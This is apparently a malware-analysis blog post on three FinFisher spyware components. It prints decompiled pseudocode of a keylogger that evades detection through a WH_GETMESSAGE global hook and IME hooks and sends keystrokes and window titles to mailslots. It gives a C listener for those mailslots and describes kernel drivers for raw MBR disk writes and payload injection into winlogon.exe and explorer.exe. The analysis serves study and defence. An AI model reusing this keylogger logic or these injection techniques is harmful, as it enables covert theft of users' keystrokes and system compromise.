본문 바로가기

malware

FinFisher Shell Extension and Drivers Analysis

728x90

As requested on reddit and twitter, this time I'm going to analyze final pieces of FinFisher malware: shell extensiondriverw.sys and mssounddx.sys. No time to waste, so let's begin:

a) Shell Extension (KeyLogger)

As title says, shell extension's main/whole purpose is logging user's keystrokes. AsFinfisher malware, never ceased to amaze me, this shell extension amazed me too. This DLL file, basically sets up global hook using SetWindowsHookEx API, records keystrokes of user, as a typical simple keylogger, but with a small difference. This keylogger doesn't hook WH_KEYBOARD or WH_KEYBOARD_LL, it hooks WH_GETMESSAGE, so basic keylogger detection methods won't be able to call it a "keylogger", even static analysis wouldn't show it as a keylogger, because it's hooking windows messages. Anyway, I'll do my best to decompile and write a psuedo code of the DLL file. Before starting, I should mention that DLL compilation date/time is: 10/28/2010 11:57:36 AM which I think is correct and unaltered. Anyway, here is the details of the DLL:

  • Calls CreateEventW API with "Local\\{FFFFFFFF-FFFF-FFFF-FFFF-FFFFFFFFFFA0}" as event.

  • Calls LoadString (unicode) two times to load two strings from resources and then it uses them as filename for saving logged keys and window titles. Filenames are:"\\\\.\\mailslot\\{FFFFFFFF-FFFF-FFFF-FFFF-FFFFFFFFFFE0}" (FILE1) and"\\\\.\\mailslot\\{FFFFFFFF-FFFF-FFFF-FFFF-FFFFFFFFFFE1}" (FILE2)

  • Opens both these files at beginning and stores handles globally, so whole DLL will be able to call WriteFile using same handle.
  • Sets up ImmGetCompositionStringA and ImmGetCompositionStringW hooks, these two are exported from imm32.dll

  • Calls SetWindowsHookExW to setup a global hook using WH_GETMESSAGE as hook type. 

  • In the hook handler (callback) function, checks callback type to WM_KEYDOWN and uses WriteFile API to write keystroke details to FILE1.

So psuedo code should be something like this:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
void SetupHook()
{
    HANDLE eventHandle = CreateEventW(0, 0, 0, L"Local\\{FFFFFFFF-FFFF-FFFF-FFFF-FFFFFFFFFFA0}");
    if (eventHandle)
    {
        if ( GetLastError() == 183 )
            CloseHandle(eventHandle);
        else
        {
            if ( HookHandle )
            {
                UnhookWindowsHookEx(HookHandle);
                HookHandle = NULL;
                glbVar1 = 0;
            }
        }
    }
 
    if ( !LoadStringW(hmod, 0x101, &File1, 260) || !LoadStringW(hmod, 0x102, &File2, 260) )
        return 0;
 
    glbHandleFile1 = CreateFileW(&File1, GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, 0, 0x03, 0, 0);
    if ( glbHandleFile1 == (HANDLE)-1 )
    {
        lstErr = GetLastError();
        errmsg = FormatMessageCall(lstErr);
        LocalFree((HLOCAL)errmsg);
    }
    glbHandleFile2 = CreateFileW(&File2, GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, 0, 0x03, 0, 0);
    if ( glbHandleFile1 == (HANDLE)-1 )
    {
        lstErr = GetLastError();
        errmsg = FormatMessageCall(lstErr);
        LocalFree((HLOCAL)errmsg);
    }
    imm32Handle = LoadLibraryA("imm32.dll");
    if ( imm32Handle )
    {
        fGetCompositionW = GetProcAddress(imm32Handle, "ImmGetCompositionStringW");
        ret = HookSetup(fGetCompositionW, (int)GetCompositionWHook, (int)&RealGetCompositionW);
        fGetCompositionA = GetProcAddress(imm32Handle, "ImmGetCompositionStringA");
        ret = HookSetup(fGetCompositionA, (int)GetCompositionAHook, (int)&RealGetCompositionA);
    }
    glbHHook = SetWindowsHookExW(WH_GETMESSAGE, (HOOKPROC)HookCallback, hmod, 0);
}
 
 
LRESULT CALLBACK HookCallback(int code,WPARAM wParam,LPARAM lParam)
{
    LPMSG lpMsg = (LPMSG) lParam;
    if (!code && wParam == 1 && lpMsg->message == WM_KEYDOWN)
    {
        memset(&Dst, 0, 0x434);
        GetKeyboardLayoutNameA(&pwszKLID); 
         
     
        HWND TheHWND = lpMsg->hwnd;
        HWND pHWND = TheHWND;
        curProcID = GetCurrentProcessId();
        GetWindowThreadProcessId(TheHWND, &dwProcessId);
        hWnd = v6;
        while ( curProcID == dwProcessId )
        {
            pHWND = TheHWND;
            pHWND = GetParent(pHWND);
            if ( !pHWND ) break;
            GetWindowThreadProcessId(pHWND, &dwProcessId);
        }
         
        memset(&wndTitle, 0, 0x208);
        GetWindowTextW(pHWND, &wndTitle, 259)
         
        WriteFile(File1, &Dst, 0x434u, &NumberOfBytesWritten, (LPOVERLAPPED)v7);
     
    return CallNextHookEx(hHook, code, wParam, lParam);
}

So, using Microsoft's sample code, I wrote a code to listen for both Slots, here is the code:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
#include <windows.h>
#include <tchar.h>
#include <stdio.h>
#include <strsafe.h>
 
HANDLE TheSlot1;
HANDLE TheSlot2;
 
LPTSTR SlotName = TEXT("\\\\.\\mailslot\\{FFFFFFFF-FFFF-FFFF-FFFF-FFFFFFFFFFE0}");
LPTSTR SlotName2 = TEXT("\\\\.\\mailslot\\{FFFFFFFF-FFFF-FFFF-FFFF-FFFFFFFFFFE1}");
 
BOOL ReadSlot(HANDLE hSlot)
{
    DWORD cbMessage, cMessage, cbRead;
    BOOL fResult;
    LPTSTR lpszBuffer;
    TCHAR achID[80];
    DWORD cAllMessages;
    HANDLE hEvent;
    OVERLAPPED ov;
  
    cbMessage = cMessage = cbRead = 0;
 
    hEvent = CreateEvent(NULL, FALSE, FALSE, TEXT("ExampleSlot"));
    if( NULL == hEvent )
        return FALSE;
    ov.Offset = 0;
    ov.OffsetHigh = 0;
    ov.hEvent = hEvent;
  
    fResult = GetMailslotInfo( hSlot, // mailslot handle
        (LPDWORD) NULL,               // no maximum message size
        &cbMessage,                   // size of next message
        &cMessage,                    // number of messages
        (LPDWORD) NULL);              // no read time-out
  
    if (!fResult)
    {
        printf("GetMailslotInfo failed with %d.\n", GetLastError());
        return FALSE;
    }
  
    if (cbMessage == MAILSLOT_NO_MESSAGE)
        return TRUE;
      
  
    cAllMessages = cMessage;
  
    while (cMessage != 0)  // retrieve all messages
    {
        // Create a message-number string.
  
        StringCchPrintf((LPTSTR) achID,
            80,
            TEXT("\nMessage #%d of %d\n"),
            cAllMessages - cMessage + 1,
            cAllMessages);
 
        // Allocate memory for the message.
  
        lpszBuffer = (LPTSTR) GlobalAlloc(GPTR,
            lstrlen((LPTSTR) achID)*sizeof(TCHAR) + cbMessage);
        if( NULL == lpszBuffer )
            return FALSE;
        lpszBuffer[0] = '\0';
  
        fResult = ReadFile(hSlot,
            lpszBuffer,
            cbMessage,
            &cbRead,
            &ov);
  
        if (!fResult)
        {
            printf("ReadFile failed with %d.\n", GetLastError());
            GlobalFree((HGLOBAL) lpszBuffer);
            return FALSE;
        }
  
        // Concatenate the message and the message-number string.
  
        StringCbCat(lpszBuffer,
                    lstrlen((LPTSTR) achID)*sizeof(TCHAR)+cbMessage,
                    (LPTSTR) achID);
  
        // Display the message.
  
        _tprintf(TEXT("Contents of the mailslot: %s\n"), lpszBuffer);
  
        GlobalFree((HGLOBAL) lpszBuffer);
  
        fResult = GetMailslotInfo(hSlot,  // mailslot handle
            (LPDWORD) NULL,               // no maximum message size
            &cbMessage,                   // size of next message
            &cMessage,                    // number of messages
            (LPDWORD) NULL);              // no read time-out
  
        if (!fResult)
        {
            printf("GetMailslotInfo failed (%d)\n", GetLastError());
            return FALSE;
        }
    }
    CloseHandle(hEvent);
    return TRUE;
}
 
BOOL WINAPI MakeSlot(LPTSTR lpszSlotName)
{
    TheSlot1 = CreateMailslot(lpszSlotName,
        0,                             // no maximum message size
        MAILSLOT_WAIT_FOREVER,         // no time-out for operations
        (LPSECURITY_ATTRIBUTES) NULL); // default security
  
    if (TheSlot1 == INVALID_HANDLE_VALUE)
    {
        printf("CreateMailslot failed with %d\n", GetLastError());
        return FALSE;
    }
    return TRUE;
}
 
 
BOOL WINAPI MakeSlot2(LPTSTR lpszSlotName)
{
    TheSlot2 = CreateMailslot(lpszSlotName,
        0,                             // no maximum message size
        MAILSLOT_WAIT_FOREVER,         // no time-out for operations
        (LPSECURITY_ATTRIBUTES) NULL); // default security
  
    if (TheSlot2 == INVALID_HANDLE_VALUE)
    {
        printf("CreateMailslot failed with %d\n", GetLastError());
        return FALSE;
    }
    return TRUE;
}
 
void main()
{
    MakeSlot(SlotName);
    MakeSlot2(SlotName2);
   while(TRUE)
   {
      ReadSlot(TheSlot1);
      ReadSlot(TheSlot2);
      Sleep(1000);
   }
}

Here is result while Finfisher keylogger was running:

b) Driverw.sys

I'll keep this one short as actual work of this driver is almost nothing. During MBR infection, user-mode code tries to access \\.\PhysicalDrive0, if it was able open physical drive successfully, it won't bother with driverw at all. If user-mode code wasn't able to access physical drive, it will load driverw.sys, call it from user mode to first open the physical drive, then it calls driver several times again to read and write to physical drive. So I think maybe they called it driverw, because it's a helper driver for Writing MBR code.

As you can see it defines two functions only, one function which I renamed toFuncDiskAccess (actual main function, which access disk etc.) and UnloadDriver

Then driver calls ObReferenceObjectByHandle to get device objectpointer. Consequently it calls IoGetAttachedDeviceReference to get DeviceObject itself. 

Now having device object, it can directly call IRPs of this object driver. So it will have direct access to whole PhysicalDrive0 without any check or access control. As last step it uses not documented or "not-well-documented" IofCallDriver function to read/write to disk. 

c) mssounddx.sys

We actually talked about this driver in previous post during MBR analysis. But here I'll analyze it a little deeper. This driver is basically process injector, it waits for winlogon.exe and explorer.exe to run, then it allocates memory in them, decrypts malware payload using same XOR algorithm and finally calls NtCreateThread function. Here is breakdown:

Driver entry:

As you can see it simply call a function which I renamed to InitAndCreateThread. This function checks for registry mssounddx entry, if it exists, it creates a system thread:

As you can see in the picture above, thread function is StartRoutine. This is whatStartRoutine looks like: 

This is driver's start routine. As you can see first, it reads SSDT(KeServiceDescriptorTable), then it calls a function which I renamed toLocateNtCreateThread. This function basically locates NtCreateThread in SSDT. See:

Using these xor and sub instructions, it allocates and pushes 2 strings into stack, ntdll.dlland NtCreateThread. After pushing strings into stack, it calls ResolveAPI which allocates a pool with 0x11223344 tag, then calls ZwQuerySystemInformation withSystemProcessInformation (0x0B) class. Then first it loops through modules to find ntdll.dll, afterwards, it loops through ntdll.dll functions to locate NtCreateThreadfunction. In the end, it calls ExFreePoolTag to unallocate 0x11223344 pool.

Back to StartRoutine, you'll see there is a call to a function which I renamed toInjectToProcess. This function is the whole purpose of driver. This function, waits for winlogon.exe and explorer.exe to run, until then, it keeps callingKeDelayExecutionThread (2 second delay). See:

Then there is unnecessary code here, actually I don't think it's possible to haveexplorer.exe running without winlogon.exe already running. but I think programmers just copy/pasted the code for loop for winlogon.exe, which is unnecessary. See:

When it finds WinLogon.exe, it opens the process using ZwOpenProcess, then it allocates memory several times in it:

Next it finds offset of DLL to inject and decrypts it using same XOR algorithm:

XOR algorithm which is same in all Finfisher malware modules:

In the end, it calls dynamically found NtCreateThread, frees the allocated memory pages used in kernel, call PsTerminateSystemThread to terminate it's own thread.

That's it. I hope you enjoyed whole Finfisher malware analysis articles. Feel free to comment or send an email about your questions. 

728x90